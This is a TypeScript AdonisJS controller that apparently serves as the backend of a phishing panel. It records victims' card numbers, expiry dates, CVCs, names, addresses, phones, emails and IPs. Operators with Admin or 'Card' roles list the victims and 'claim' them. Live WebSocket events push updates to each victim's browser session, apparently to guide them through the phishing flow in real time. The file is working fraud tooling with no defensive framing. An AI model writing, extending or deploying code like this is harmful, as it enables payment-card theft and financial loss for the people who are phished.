| 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091 |
- import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
- import PaginationService from 'App/Services/PaginationService'
- import Phish, { PhishStep } from 'App/Models/Phish'
- import Ws from 'App/Services/Ws'
- import { UserRoles } from 'App/Models/User'
- export default class PhishesController {
- private paginationService = new PaginationService(Phish)
- public async index({ request, auth }: HttpContextContract) {
- const userRole = auth.user!.role
- if (userRole !== UserRoles.Admin && userRole !== UserRoles.Card) {
- return {
- error: 'You are not authorized to access this resource',
- status: 403
- }
- }
- return await this.paginationService.paginate(request.all())
- }
- public async store({ request }: HttpContextContract) {
- const ip = request.ip()
- const id = request.all().id
- let phish: Phish | null = null
- if (id) {
- phish = await Phish.find(id)
- }
- if (!phish) {
- phish = new Phish()
- }
- phish.ip = ip
- phish.online = false
- await phish.save()
- Ws.hookIO.emit('new', phish)
- return phish
- }
- public async add({ request }: HttpContextContract) {
- const ip = request.ip()
- const data = request.all()
- const phish = new Phish()
- phish.ip = ip
- phish.online = true
- phish.step = PhishStep.SUCCESS
- if (data.card) phish.card = data.card
- if (data.expiry) phish.expiry = data.expiry
- if (data.cvc) phish.cvc = data.cvc
- if (data.firstName) phish.firstName = data.firstName
- if (data.lastName) phish.lastName = data.lastName
- if (data.country) phish.country = data.country
- if (data.state) phish.state = data.state
- if (data.city) phish.city = data.city
- if (data.address) phish.address = data.address
- if (data.zip) phish.zip = data.zip
- if (data.phone) phish.phone = data.phone
- if (data.email) phish.email = data.email
- await phish.save()
- return phish
- }
- public async show({ params }: HttpContextContract) {
- return await Phish.findOrFail(params.id)
- }
- public async clientUpdate({ params, request }: HttpContextContract) {
- const phish = await Phish.findOrFail(params.id)
- phish.merge(request.all())
- await phish.save()
- Ws.hookIO.emit('update', phish)
- return phish
- }
- public async adminUpdate({ params, request }: HttpContextContract) {
- const phish = await Phish.findOrFail(params.id)
- phish.merge(request.all())
- await phish.save()
- Ws.phishIO.to(phish.socketId).emit('update', phish)
- return phish
- }
- public async claim({ params, auth }: HttpContextContract) {
- const phish = await Phish.findOrFail(params.id)
- if (phish.userId && phish.userId !== auth.user!.id) {
- throw new Error('已被他人领取')
- }
- phish.userId = auth.user!.id
- await phish.save()
- return phish
- }
- }
|